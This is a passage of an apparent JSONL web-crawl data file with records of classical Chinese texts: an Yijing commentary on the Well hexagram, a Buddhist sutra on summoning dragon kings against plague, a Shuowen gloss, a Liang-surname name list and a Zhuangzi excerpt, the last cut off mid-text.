+{"text":"井\n䷯〈巽下坎上〉\n井,改邑不改井,无喪无得,往來井井,汔至亦未繘井,羸其瓶凶。\n【義曰】按《序卦》云:「困乎上者必反下,故受之以井。」蓋言君子之人,升進不已,則必至于窮困。既困于上,則必反而歸于下,此井所以次于困也。\n改邑不改井者,邑者都邑人民之所聚居也,井者是居其地而不可遷改也。夫都邑,民所居也,則可以遷。井之為德,則不可遷。夫邑之名,猶君子之身;井之義,猶君子之德。君子之身可貴可賤,可富可貧,可生可殺,君子之道則不可為富貴貧賤生死所加損。\n无喪无得者,夫井之淵源終日,汲之而不為之喪失,雖終歲不汲,亦不至于盈滿,猶君子積其德于身,至于用與不用,乃君民之幸與不幸耳,于君子之身何所損益哉?\n往來井井者,井所以汲水濟于時也,往者取其井,來者亦取其井,往來之人,莫不資其養,蒙其利也。猶君子之德,所居之處,遠邇之人,皆受其賜,以至鰥寡孤獨,昆蟲草木,无不被其澤也。\n汔至亦未繘井,羸其瓶凶者,汔猶幾也,將至之謂也。繘者汲水之綆也,羸者綰絆之謂,瓶者汲水之器。凡井之有濟人之功,今水將至而綆未出于井,則羸其瓶而傾覆之,其澤不能及于人,凶之道也。猶君子以道德仁義正身履行,本欲以濟眾也。必須致于有位,使其澤及于民物,則功必有成也。而反有至中道而自傾覆其德,則澤反不能施天下,亦凶之道也。\n《彖》曰:巽乎水而上水,井,井養而不窮也。改邑不改井,乃以剛中也。汔至亦未繘井,未有功也。羸其瓶,是以凶也。\n【義曰】此先以二體明井之義也。ppp坎為水巽為木又為入木能入水而舉上其水井之象也井養而不窮者夫井泉源之所聚往者來者皆取以為養而无有窮盡也改邑不改井乃以剛中也者言都邑之人居可以遷井者掘地為之不可以遷猶君子身可以窮達德不可以移易若是惟二五能之二五以剛中之德則不為富貴貧賤生死之所移其德至造次顛沛之間未始變其道如井之不遷也汔至亦未繘井未有功也者言水汔至而綆未出于井其功未濟于人也羸其瓶是以凶也者所汲之綆既未出于井而又羸綰其瓶以傾覆其水如君子不能濟人而又傾敗其仁義中道而止是凶道也\n《象》曰:木上有水井君子以勞民勸相\n【義曰】巽為木坎為水木能入水而舉上其水以濟于人有井之象君子法此井象以勞來安恤其民而勸相之勸者舉天下之賢才黜天下之不肖興庠序之教化施禮樂之道以勸天下之人使皆知遷善而遠罪也相助也謂勸農輕徭薄斂節儉國用所以助其生也既勞以安之又勸相以助其生是以仁義之道被于民得井之義也\n初六井泥不食舊井无禽《象》曰:井泥不食下也舊井无禽時舍也\n【義曰】泥者水之滓穢也初六以陰柔之質滓穢沈滯居一卦之下上无其應其功不能及于上是井之滓穢沈滯至于為人之所不食也舊井者久廢之井也禽者至賤之物也久廢滓穢沈滯雖至賤之禽猶不向之則人不食可知矣以人事言之猶人不能脩潔其已不能日新其德不務升進而自處于卑下之位為人所不與也《象》曰:井泥不食下也者下謂處于卑下功不及于物也時舍者蓋利不被于人故為時人之所共棄舍也\n九二井谷射鮒甕敝漏《象》曰:井谷射鮒无與也\n【義曰】谷者谿谷也鮒即鮒魚也積穢之所生甕者停水之器凡井之道所以汲取以濟于物今九二處下卦之中上无其應而下比于初猶谿之水下注射于積穢之物又如甕之敝敗其水下漏是皆言其功不能上濟于物也以人事言之君子之人有仁義之術可以濟于天下為生民之福而潛身晦迹以自卑下不務升進以行其道其澤不能及于物以是天下之所共不與者也\n九三井渫不食為我心惻可用汲王明並受其福《象》曰:井渫不食行惻也求王明受福也\n【義曰】渫者清潔之貌言九三以陽爻居陽履得其正有剛明之才而在下體如井之清潔而不為人之所食亦若君子有仁義之術不為時君之所用惻者憂惻也言君子所憂者非憂其一身貧賤憂其君不堯舜憂其民不仁壽故其中心惻然蓋以其道德仁義不見用于上其澤不能及于天下也且井之清潔可用取汲而濟于物君子有道德可以升進而濟天下之民然所患者上无明君以察己之道德若王者有至聖聰明之資能察己之道德以升進于位而任用之使其道行于天下致君于堯舜躋民于仁壽則君臣上下罔不賴其德而受其福慶也《象》曰:井渫不食行惻也者行者所行之道也蓋君子有致君經世之才今反不用則智謀不補于君膏澤不下于民故所以憂惻其道不行于時也受福者是君子必求明王以務升進于上使其道大行于天下則天下之人皆受其福慶也\n六四井甃无咎《象》曰:井甃无咎脩井也\n【義曰】甃者以砌累而脩補者也按此一爻以陰居陰處得其正能自脩飾使其泉源清潔為人所食亦猶君子脩潔其行有仁義之道可以濟于天下然位不得中尚未汲以濟于人是君子雖未見用亦可自守其正而獲无咎也\n九五井洌寒泉食《象》曰:寒泉之食中正也\n【義曰】洌者清潔之貌按此一爻以陽居陽處得其正以剛居中清潔其行是猶井之有寒泉清潔不撓為時人所汲而食之以人事言之是聖賢之人居至尊之位有剛明中正之德有仁義之道可以為天下之法則可以生成天下之民以至往者來者皆得而濟之也故若井洌寒泉為時人之所共食也\n上六井收勿幕有孚元吉《象》曰:元吉在上大成也\n【義曰】收者物之收成也幕者蓋幕也夫井之道以汲上濟人為功今上六以陰居陰而處一卦之上井道之大成者也猶賢人君子脩仁薀義沛然發施天下而福蒼生是君子之道大成也勿幕者上六井道既成則當使天下之人往者來者汲之以得濟養故不可獨擅其利而蓋幕之也亦猶君子德行既成則當發施于天下使天下之人皆受其賜故不可遁于山林而獨善其身亦不可吝嗇所為而不施發也有孚元吉者夫井道大成則天下得汲其惠君子道成則天下得受其賜故為天下之人所信既能取信于天下所以獲元大之吉也","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.eee-learning.com\/book\/6175","date":"2022-07-06T03:51:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104660626.98\/warc\/CC-MAIN-20220706030209-20220706060209-00144.warc.gz","language":"lzh","language_score":0.6056163311,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6056163311004639, \"cmn_Hani_score\": 0.30033743381500244, \"nan_Hani_score\": 0.05687929317355156}","num_words":24,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.085,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.64,"perplexity_score":500.0,"cluster_detection":1} +{"text":"佛說灌頂召五方龍王攝疫毒神呪上品經卷第九\n東晉天竺三藏帛尸梨蜜多羅譯\n聞如是。一時佛遊王舍大城竹林精舍。與四部弟子眷屬圍遶。天龍八部悉來集會。佛為說法垂欲竟時。於是阿難從坐而起。齊整衣服稽首佛足。長跪合掌而白佛言。維耶離國癘氣疾疫。猛盛赫赫猶如熾火。中毒病者頭痛寒熱百節欲解。蘇者甚少死者無數。世尊大慈愍加群生。願為救護使得蘇息。不遭苦患病愈熱除。復為說法使得至道。\n佛告阿難維耶離國中。所以遭此疫毒病者。是其國人多殺群生。無有慈心以殺獵為業。是諸麞鹿麋塵禽獸熊羆之屬。有智慧者作是誓願。願我來世墮鬼神中。願為鬼殃銜火燒人。有犯觸我者若殺若縛。強取我者我當放火。燒其山野及所居村舍。於我有怨悉令被害。令諸眾生不得藏匿。是故阿難當化導一切令其慈仁。勿殺群生普慈一切。受持禁戒行於十善。若能如此可得至道。\n佛又告阿難其世間人遭諸火殃。或燒一家乃至五三十家。或燒一里乃至五三十里。或燒百里乃至五三百里。或燒千里乃至五千萬里。如此因緣不可稱數。與此眾生有業緣者。必為火殃之所燒害。是故不得避藏得脫。以是因緣勿行殺獵。化行十善可得至道。\n佛又告阿難此國中人。又網水中黿鼉魚鼈。雜類眾生不可稱數。而噉食之以為美饍。諸眾生等有智慧者。各各懷忿。願我後世墮大海中。作毒蛟龍吐種種毒氣猶如雲霧。以害維耶離國中人民。食我肉者使病不死。萎黃困篤從死得生。殺我命者毒著便死。我今先敘彼諸因緣。然後請召五方諸大龍王勅語之曰。莫令諸小毒龍害於人民。各使攝毒還其處所。解於罪福攝取惡毒。不復為害令一切人民。得離病惱無復厄難。拔度生死得涅槃道。阿難白佛唯願速說五方龍王名字隨方所攝諸小龍輩。吐惡毒氣害於人者。使其檢校不行諸毒。惟耶離國受苦如是。唯願世尊一一解說。令彼眾生得脫厄難。解脫彼苦得聞法音。\n佛告阿難汝當諦聽諦受。東方青龍神王。其上首者名曰阿修訶。七七四十九龍王。典領東方小龍伴侶七十萬億。山精雜魅毒病厄難。皆當說其名字護病者身。能使小龍攝毒不害病者。使身中諸毒自然消滅。病愈熱除平復如本。\n佛圖那龍王 三物都路龍王 娑攬摩龍王 三物弗路龍王 因臺羅龍王 婆伽樓龍王 摩伽婁龍王 難陀那龍王 優鉢難陀龍王 修陀利舍龍王 婆修只龍王 德叉迦龍王 阿婁盧龍王 婆婁盧龍王 伽婁盧龍王 沙梁瞿龍王 思利曼陀龍王 思利健陀龍王 思利婆栗陀奴龍王 思梨颰陀龍王 阿婆盧龍王 思婆盧龍王 修婆睺龍王 須彌睺龍王 修彌弗多羅龍王 旃陀羅弗多羅龍王 那栗陀奴龍王 伽栗闍奴龍王 苾闍陀奴龍王 思普陀奴龍王 婆梨沙奴龍王 毘摩婁龍王 阿梨伽思梨沙龍王 婆伽梨思龍王 竭波思梨沙龍王 伽婆思梨沙龍王 無勒思利龍王 害坻思梨沙龍王 竭陀羅婆梨俱龍王 闍那栗陀龍王 質多斯龍王 質多勒叉龍王 那某旨龍王 阿羅婆婁龍王 某旨隣陀龍王 阿勒伽浮龍王 思利龍王 思梨祇吉龍王 攬菩盧龍王\n佛告阿難南方赤龍神王。其上首者名曰那頭化提。五七三十五龍王。典領南方五十萬億諸山精魅鬼。二十萬億弊小龍輩。吐毒氣者害於人民。令其攝毒莫復害於人民。有得毒病者。皆當呼此龍王名字令諸萬姓休息安寧病消熱除。龍王施命平復如本。\n只利彌龍王 阿那俱龍王 阿難陀婁龍王 害多蓋朱龍王 慢陀俱龍王 氷伽婁龍王 伊羅颰陀羅龍王 傷瞿龍王 阿婆羅婁龍王 阿多俱龍王 優婆伽多俱龍王 波羅提浮龍王 那羅耶[少\/兔]龍王 達婆婁龍王 毘無龍王 阿勒叉龍王 思羅婆睺龍王 彊伽那龍王 思度龍王 薄芻龍王 思陀龍王 茫伽婁龍王 毘大都龍王 修波羅坻度龍王 毘羅婆奴龍王 陀羅難陀龍王 颰陀羅龍王 尼彌陀婁龍王 修颰陀羅龍王 修梵陀羅龍王 波羅旃陀羅龍王 慢陀奴龍王 摩根陀羅龍王 陀婆伽羅龍王 徒菩北多俱龍王\n佛告阿難西方白龍神王。其上首者名曰訶樓薩叉提。三七二十一龍王。典領西方九十萬億諸小龍輩。及山精魅鬼二十萬億。有疾急者喚是龍王名字之時。是諸小龍各攝毒惡。不害萬民長得歡樂。眾病除愈平復如本。\n徒菩魯嘻多俱龍王 摩那利龍王 斯為多俱龍王 阿勒多龍王 敗兜多羅龍王 颰陀羅波兜龍王 肫頭毘龍王 安婆羅坻陀羅龍王 半陀修都龍王 提梨坻賴兜龍王 毘婁勒俱龍王 毘婁博叉龍王 毘舍羅摩龍王 奢伽某伽龍王 旃陀婆那龍王 瞿陀無那龍王 半闍婁龍王 半闍周婁龍王 波羅獨都龍王 便頭龍王 優婆便頭龍王\n佛告阿難北方黑龍神王 其上首者名曰那業提婁。四七二十八龍王。典領北方百億諸小龍輩。及山精魅鬼十三萬億。毒病疾厄恐怖之日。喚是龍王名字之時。諸小龍輩各攝毒氣。不復害人萬民安樂。病苦消除眾善補處。平復如本龍王力也。\n波利俱龍王 只遮尼俱龍王 伽闍那俱龍王 深林婆俱龍王 某栗那瞿曇龍王 某羅摩奴須龍王 慰多羅摩[少\/兔]婁龍王 阿摩[少\/兔]婁龍王 佉伽婁那龍王 曼陀羅俱龍王 慰多祺龍王 阿羅婆羅龍王 摩羅摩[少\/兔]龍王 毘住龍王 伊他婆婁龍王 摩那思龍王 只羅哆俱龍王 伽毘盧龍王 思婆婁龍王 慰婆婁龍王 恒伽懼龍王 颰陀摩[少\/兔]龍王 木叉俱龍王 婆羅木叉龍王 俱佛提龍王 甘婆羅思和婁龍王 伊羅彌丘龍王 難陀優婆難陀喻龍王\n佛告阿難中央黃龍神王。其上首者名曰闍羅波提。四七二十八龍王。典領中央諸小龍輩六十萬億。及山精雜魅鬼十二萬億。若諸人民悲憂衰惱。變怪眾災水火之厄諸怪屢生。亦當應寫上龍王名字。各隨所主。厭除萬怪令其消滅。呼是龍王名字之時。是諸小龍山精雜魅。即便隱毒不復害人。萬民歡樂國土安寧。雨澤以時民無荒亂。人王喜悅稱善無量。\n阿周都龍王 波利伽留龍王 修某丘阿陀含龍王 健陀阿婁龍王 僧伽婁龍王 提梨彌阿婁龍王 周修訶龍王 那頭伽提那龍王 訶數薩伽提龍王 那僕提婁龍王 那速提龍王 薩迦陀那龍王 優耨薩龍王 禪然薩龍王 阿宿提龍王 娑伽羅龍王 和修吉龍王 阿那婆達多龍王 薩迦陀那伽龍王 優耨達龍王 禪然薩龍王 阿宿羅龍王 娑伽羅龍王 和修周龍王 阿那婆達龍王 摩那斯龍王 難陀龍王 颰難陀龍王\n佛告阿難是為請召龍王名字如是。我勅諸方大龍王等。及山精魅鬼攝諸小龍。五色之氣雲霧毒害侵陵萬民。我以勅竟。龍王受教魅鬼亦然。便攝小龍使不行毒害於人也。龍王歡喜受吾教命歡喜奉行。\n佛告阿難我說是五方龍神王竟。於此眾中誰能施行。召五方一百六十一諸龍王名。逐諸小龍及山精魅鬼。使攝其毒不復得行嬈於人民。使諸國土無諸苦者。毒氣既除人民歡樂。我法興隆魔道隱閉諸毒消滅。聖眾能化靡不受行。時佛世尊唱是語已。大眾寂然默無言者。於是眾中有一少年比丘名曰禪提。從坐而起胡跪合掌。而白佛言世尊。阿難今日於大眾中請於如來。說是五方召龍神呪。世尊以說召龍王竟。欲令諸比丘輩宣天尊言。使此法言流演世間。禪提比丘不以愚憃。今當承佛威神之力。往彼維耶離大城之中。說今如來所說龍王無上神呪。說是語已受天尊教禮佛而去。\n於是禪提比丘。往彼維耶離大國之中。救治人民諸疾病者悉得除愈。百姓歡樂喜慶無極。如是漸漸國王大臣。長者居士豪姓之屬。悉皆供養為起精舍。四事供養無所乏少。人民無憂毒氣不行。\n爾時是禪提比丘。住是國中二十九年。以佛世尊所說召龍摩訶神呪。化導人民悉皆奉受。常為四輩之所供養。乃至命終未曾休息。是禪提比丘命終已後。諸弟子輩以香樵薪。焚燒其身收取舍利起于塔廟。禪提比丘命終之後。毒氣復興疫病眾多。死亡者無數無人救療。是諸人民作是念言。憶我本昔有禪提比丘。誦說如來召龍神呪。設有病苦皆悉除愈。今已命過。我今遭諸厄難誰救我者。即便奔趣往至禪提先精舍所。往彼住處。見禪提比丘所嚼楊枝。擲地成樹樹下有清泉水。諸人民輩即禮拜此樹。如見禪提在世無異。折此楊枝取下泉水還歸到家。以楊柳枝拂除病者。以水灑諸病人輩悉得休息。身體清涼百病除愈。於是國中國王大臣。長者居士四輩人民。有病苦者悉皆往彼故精舍所。取此楊枝並取泉水。浴洗病者灑散五方。諸魔惡鬼毒鬼消亡。辟除眾惡萬事吉祥。\n賢者阿難語諸四輩言。不但禪提比丘。行是神呪有效驗也。昔南天竺有一居士名曰求若先。奉持五戒守行十善。亦復誦是如來所說召龍神呪。時世飢窮。求若先居士遊他國土以求衣食。漸漸遊行至迦羅葉國中。往釋印迦羅越舍。時是長者家門之中一百餘口。為此雲氣毒病所羅。得病之人有死有蘇。居士既到諸有病者悉得除愈。釋印迦羅越。耳自得聞諸鬼神輩。更相語言我前本時。欲令此國疫氣流行。病者使死不令得活。今者遠方有神人居士從天竺來。口中誦習如來所說召龍灌頂微妙法術。我今當往無人之處。攝取毒氣不能得行。一鬼語言何故爾乎。一鬼答言迦羅越舍車屋之中。有此神人誦習呪術。本欲行毒而今不能。不去何待。若留在此。為彼神人之所傷害。\n於是以後諸鬼神輩各各惶怖。兩兩相牽三三相隨。五五相逐馳走而去。往彼山谷無人之處。各自隱藏不現身形。於是以後毒氣不行。國中人民有病苦者悉得差愈。國王流聞迦羅越舍有是神人。即便嚴駕車乘往到其所。到已前拜而問訊言。何來居士乃有如此微妙聖術。居士答言南天竺來。居士名何。答言求若先。王將居士往到宮中。七日七夜作倡妓樂而娛樂之。設種種美膳金銀珍寶衣服數通而施與之。求若居士為王說法示教利喜。王聞法音喜踊無量。國中人民無不獲福。王於是後遂與居士相將。往到竹林精舍禮拜世尊。作禮畢訖却坐一面。佛為說法。王及臣民靡不歡喜。各隨本緣悉得道迹。\n於是阿難又告四眾。今佛世尊說是灌頂召龍神呪。不但為今維耶離也。標心乃在像法之中。千歲之末佛法欲滅魔道興盛。當有惡王斷滅三寶。使法言不通破塔滅僧五濁亂時。為是當來諸眾生輩。演說此法示於未聞。普使宣傳流布世間。人民受者不遭患難。眾病除愈死得昇天。\n阿難又言諸四輩弟子。若有國土有疾厄者。橫為邪神諸惡龍輩。及諸山精銜火燒人。又吐惡毒氣侵陵萬姓。有此災變不吉祥時。當澡嗽口齒清淨受行齋戒。不食五辛不得飲酒噉肉。當禮敬十方諸佛。懸繒旛蓋請召眾僧。一日七遍轉是召龍大神呪經。邪氣雲除眾善集身。解釋病者熱毒消除。病苦得愈得吉祥福。賢者阿難又復告言。諸四輩弟子若疾厄之日。當以香泥泥地。然十方燈散雜色華。燒眾雜香兜婁婆畢力伽沈水膠香婆香安息香等。燒是香時亦能使魔隱藏不現不復害人。即得吉祥萬病除愈。佛說經竟。四眾人民無不歡喜。釋梵諸天以好香華。供散佛上以為供養。阿難問佛言。說是語已當何名之云何奉行。佛言阿難此經名為灌頂召龍大神呪經。又名行經之人因緣本事經如法受持大眾人民天龍鬼神聞經歡喜作禮奉行。\n灌頂經卷第九\n卷第八\n卷第十","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.buddhamountain.ca\/PT_Quang_Danh_TW_09.php","date":"2023-03-28T08:25:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948817.15\/warc\/CC-MAIN-20230328073515-20230328103515-00775.warc.gz","language":"lzh","language_score":0.4637317657,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4637317657470703, \"cmn_Hani_score\": 0.35246506333351135, \"nan_Hani_score\": 0.06497234851121902, \"yue_Hani_score\": 0.04033495858311653, \"wuu_Hani_score\": 0.037518322467803955, \"jpn_Jpan_score\": 0.033295754343271255}","num_words":184,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.464,"perplexity_score":500.0,"cluster_detection":1} +{"text":"自緝篆至絣篆皆說麻事。麻事與蠶事相似。故亦从糸。凡麻枲先分其莖與皮曰木。因而漚之。取所漚之麻而林之。林之爲言微也。微纖爲功、析其皮如絲。而撚之、而𠟪之、而續之、而後爲縷。是曰績。亦曰緝。亦絫言緝績。孟子曰。妻辟纑。趙注曰。緝績其麻曰辟。按辟與擘肌分理之擘同。謂始於析麻皮爲絲也。引申之、用縷以縫衣亦爲緝。如禮經云斬者不緝也𪗋者緝也是也。又引申之爲積厚流光之偁。大雅傳曰緝𤋮光明也是也。\n七入切。七部。","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.shuowen.org\/view\/8691?pinyin=ji","date":"2023-03-28T02:00:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948756.99\/warc\/CC-MAIN-20230328011555-20230328041555-00741.warc.gz","language":"lzh","language_score":0.403167367,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.40316736698150635, \"cmn_Hani_score\": 0.22957299649715424, \"jpn_Jpan_score\": 0.11087764799594879, \"wuu_Hani_score\": 0.09245716780424118, \"yue_Hani_score\": 0.01798929087817669, \"nan_Hani_score\": 0.015530574135482311, \"und_Tang_score\": 0.01468510553240776, \"zxx_Latn_score\": 0.012000159360468388}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.403,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓梁的你给我出来表情包\n梁彦萁 梁力明 梁咏琪 梁 红 梁巧玲 梁玉珠 梁韵青 梁盛云 梁秀云 梁嘉益 梁学忠 梁 祯 梁世来 梁诗鹦 梁芷倩 梁大蓉 梁淙潇 梁?@葳 梁玉兰 梁映晖 梁 策 梁嘉瑶 梁芷荧 梁家瑶 梁英睿 梁佳睿 梁英宰 梁智恩 梁佳瑶 梁 瑶 梁莘睿 梁嘉睿 梁家睿 梁希睿 梁宁泞 梁淑霞 梁纾瑶 梁纾睿 梁纾熙 梁馨夏 梁艺缤 梁纾瑜 梁珊瑶 梁珊睿 梁珊熙 梁书睿 梁纾睿 梁隽睿 梁隽熙 梁隽瑶 梁隽瑜 梁珊瑜 梁莘睿 梁隽恺 梁 平 梁莘绮 梁 明 梁珊绮 梁隽绮 梁峻绮 梁纾绮 梁晓绮 梁桐绮 梁颖子 梁明珠 梁隽恺 梁英超 梁金顺 梁旭红 梁智恩 梁 翊 梁效铭 梁安琪 梁 琦 梁效铭 梁佳琦 梁家琦 梁 晨 梁福东 梁家玉 梁福田 梁宏伍 梁福如 梁福田 梁 爽 梁福新 梁宏武 梁福东 梁小龙 梁 闯 梁 冰 梁 奇 梁 雍 梁 岐 梁 齐 梁乃召 梁 琪 梁 歧 梁鹏飞 梁 旗 梁艺泷 梁旭红 梁 亓 梁 麒 梁 蕲 梁力文 梁 新 梁雨嫣 梁 冉 梁景源 梁丽君 梁雨嫣 梁广军 梁 唐 梁一琦 梁佳齐 梁益琦 梁力文 梁 益 梁正中 梁大玲 梁淼曦 梁 新 梁 超 梁广军 梁智眙 梁凤山 梁逸轩 梁奕轩 梁熠轩 梁厶砾 梁胤轩 梁可豪 梁朝珍 梁佳敏 梁 鹏 梁 虎 梁鑫婷 梁云淇 梁灯洪 梁宽乔 梁 蔼 梁 鹏 梁 艳 梁科蔼 梁峰笛 梁峻萧 梁峻逍 梁殊菲 梁芮瑜 梁颗蔼 梁 尘 梁优珍 梁 帅 梁 宁 梁 旭 梁蔼迅 梁旭东 梁宽蔼 梁景源 梁蔼苗 梁 蔼 梁天晓 梁洪标 梁毅? 梁德红 梁志跃 梁锦瑜 梁嘉琦 梁嘉琪 梁锦瑜 梁 晨 梁健敏 梁小娟 梁东权 梁砚峻 梁景源 梁熙隽 梁建敏 梁清转 梁红亲 梁真琴 梁如雪 梁真文 梁贞甜 梁兰萍 梁科兰 梁天明 梁艺泷 梁晓帆 梁 伦 梁凯铭 梁楷虬 梁 禹 梁晓帆 梁秦禹 梁紫云 梁培琳 梁天晓 梁浩天 梁 宇 梁 雨 梁 羽 梁志峰 梁 禹 梁智锋 梁 敏 梁德坚 梁皓天 梁新雄 梁荣琛 梁硕鹏 梁 硕 梁宝硕 梁帆帆 梁朝伟 梁 帆 梁焙棱 梁建国 梁清芬 梁小帆 梁永弦 梁丽诗 梁小范 梁晓樊 梁 建 梁樊帆 梁焙棣 梁富莲 梁 国 梁 柴 梁硕鹏 梁晓帆 梁敏明 梁丽娟 梁晶晶 梁永弦 梁嘉? 梁佳? 梁慧琪 梁卉琪 梁 ? 梁静? 梁艺安 梁馨元 梁町童 梁忻甜 梁梦甜 梁灏甜 梁家淇 梁浩杰 梁亦真 梁嘉浩 梁亦臻 梁晓红 梁亦枫 梁云天 梁天琪 梁亦丰 梁 硕 梁甜甜 梁佳宜 梁秀兰 梁佳仪 梁嘉仪 梁颖梓 梁颖子 梁颍子 梁业荣 梁颍怡 梁颍梓 梁咏诗 梁泳诗 梁永诗 梁静子 梁智恩 梁慧乔 梁慧子 梁如珠 梁弯弯 梁宝怡 梁咏诗 梁喜燕 梁连筠 梁东鹏 梁 鹏 梁 晨 梁晨鹏 梁晨杰 梁慧雯 梁海燕 梁伟平 梁健达 梁 戈 梁 斌 梁开水 梁日明 梁 霄 梁 颖 梁萝卜 梁白菜 梁魁萍 梁 颍 梁三妹 梁广大 梁凤华 梁英超 梁群力 梁永行 梁英萍 梁智恩 梁耀琳 梁耀珠 梁茹珠 梁 嵩 梁萍华 梁 政 梁海清 梁海清 梁 健 梁立川 梁兴玮 梁 英 梁 燕 梁 玮 梁 伟 梁晓青 梁 懿 梁佳浩 梁 曙 梁佳豪 梁黎曙 梁嘉豪 梁嘉浩 梁家浩 梁家豪 梁 恒 梁家伟 梁影梅 梁艺泷 梁丽华 梁 旋 梁星伟 梁宇虹 梁星玮 梁力士 梁 燕 梁红红 梁莎莎 梁嘉玮 梁广海 梁佳玮 梁雨红 梁有清 梁志勇 梁 燕 梁树群 梁 雨 梁 茹 梁渺渺 梁彬彬 梁 彬 梁剑锋 梁 妙 梁 妃 梁君懿 梁 妍 梁晓青 梁 榆 梁晨鹏 梁 妮 梁 飞 梁晓晴 梁晓倩 梁楠楠 梁 裕 梁囡囡 梁 楠 梁 晨 梁晓娜 梁 燕 梁建成 梁志飞 梁 凉 梁 晾 梁 茹 梁 亮 梁峻铭 梁德珍 梁峻铭 梁乃珠 梁乃珠 梁海月 梁志健 梁绮薇 梁秋月 梁秋明 梁焙森 梁秋月 梁巧瑜 梁 艳 梁 伟 梁真瑜 梁素敏 梁舒然 梁倩敏 梁倩睿 梁芊芊 梁洪敏 梁 晨 梁童童 梁森宏 梁舒童 梁露尹 梁舜童 梁町町 梁 艳 梁洁敏 梁 蕾 梁子明 梁 雄 梁桂源 梁金仙 梁小明 梁 燕 梁桂源 梁颖仪 梁 彪 梁振雄 梁 彪 梁 雄 梁启芬 梁 禹 梁 宇 梁凤玲 梁芯瑜 梁芯源 梁心议 梁议文 梁启芬 梁颖聪 梁心议 梁忏议 梁纤议 梁芯镱 梁怀月 梁 艳 梁茹方 梁议方 梁 芯 梁兰月 梁作振 梁议文 梁一凡 梁一番 梁 瑾 梁镇涛 梁祥子 梁婉怡 梁乐言 梁镇涛 梁周妹 梁 爽 梁 铧 梁海淞 梁海凇\n我姓梁什么梁怎么回答一年级\n如果你是女性,应该感到快乐。毕竟,人生路上,有一个异性但是骨肉同胞与你同行。如果你是男性,更应感到快乐。因为你有了小帮手!当然,不必担心他同你争宠,争取他的心吧,多跟他接触,让他喜欢你,千万不要流露相反的表情,像爱自身一样去爱他。试着逗他玩,和他说话。这就是骨肉同胞情!","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.buanju.com\/ziwei\/zwds\/579.html","date":"2023-06-06T20:15:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224653071.58\/warc\/CC-MAIN-20230606182640-20230606212640-00792.warc.gz","language":"lzh","language_score":0.9857408404,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9857408404350281}","num_words":575,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.3,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":1} +{"text":"莊 子\n群書治要卷三十七\n胠 篋\n昔者。容成氏、大庭氏、伯皇氏、中央氏、栗陸氏、驪畜氏、軒轅氏、赫胥氏、尊盧氏。祝融氏、伏戲氏、神農氏、當是之時。民結繩而用之。足以紀要而已。甘其食。美其服。適故常甘。當故常美。若思夫侈靡。則無時慊意矣。樂其俗。安其居。鄰國相望。鷄犬之音相聞。人至老死而不相往來。無求之至。若此之時。則至治已。今遂至使民延頸舉踵曰。某所有賢者。贏糧而趣之。則内弃其親。而外弃(本書弃作去)其主之事。足迹接乎諸侯之境。車軌結乎千里之外。至治之迹。猶致斯弊。則是上好智之過也。上謂至治(至治作好知)之君。智而好之。則有斯過矣。上誠好智而無道。天下大亂矣。何以知其然耶。夫弓弩畢弋機變之智多。則鳥亂於上矣。鈎餌罟罛罾笱之智多。則魚亂於水矣。削格羅落罝罘之智多。則獸亂於澤矣。攻之逾密。避之逾巧。則雖禽獸猶不可圖之以智。而况人哉。故治天下者唯不任知。任知則無妙也。智詐同异之變多。則俗惑於辯矣。上之所多者。下不能安其少也。性少而以逐多。則迷矣。\n天 地\n堯觀乎華。華封人曰。嘻。聖人。請祝聖人。使聖人壽。堯曰。辭。使聖人富。堯曰。辭。使聖人多男子。堯曰。辭。封人曰。壽、富、多男子。人之所欲也。汝獨不用。何。堯曰。多男子則多懼。富則多事。壽則多辱。是三者。皆非所以養意(意作德)。故辭。封人曰。始也以汝爲聖人也。今然君子也。天生烝民。必授之職。多男子而授之職。則何懼之有。物皆得所而志定。富而使分之。則何事之有。寄之天下。故無事也。聖人鶉居。無事而斯安也。而鷇食。仰物而足。鳥行而無章。率性而動。無常迹也。天下有道。則與物皆昌。天下無道。則修德就閑。雖湯、武之事。苟順天應人。未爲不閑。故無爲而無不爲者。非不閑也。千歲厭世。去而上仙。夫至人極壽命之長。任窮通之變。其生也天行。其死也物化。故云厭世而上仙。乘彼白雲。至於帝鄉。氣之散無不至之。三患莫至。身常無殃。則何辱之有。\n堯治天下。伯成子高立爲諸侯。堯授舜。舜授禹。伯成子高辭爲諸侯而耕。禹往見之。則耕在野。禹趨就下風。立而問焉。曰。昔堯治天下。吾子立爲諸侯。堯授舜。舜授予。而吾子辭爲諸侯而耕。敢問其故何也。子高曰。昔堯治天下。不賞而民勸。不罰而民畏。今子賞罰而民且不仁。德自此衰。刑自此立。後世之亂。自此始矣。\n天 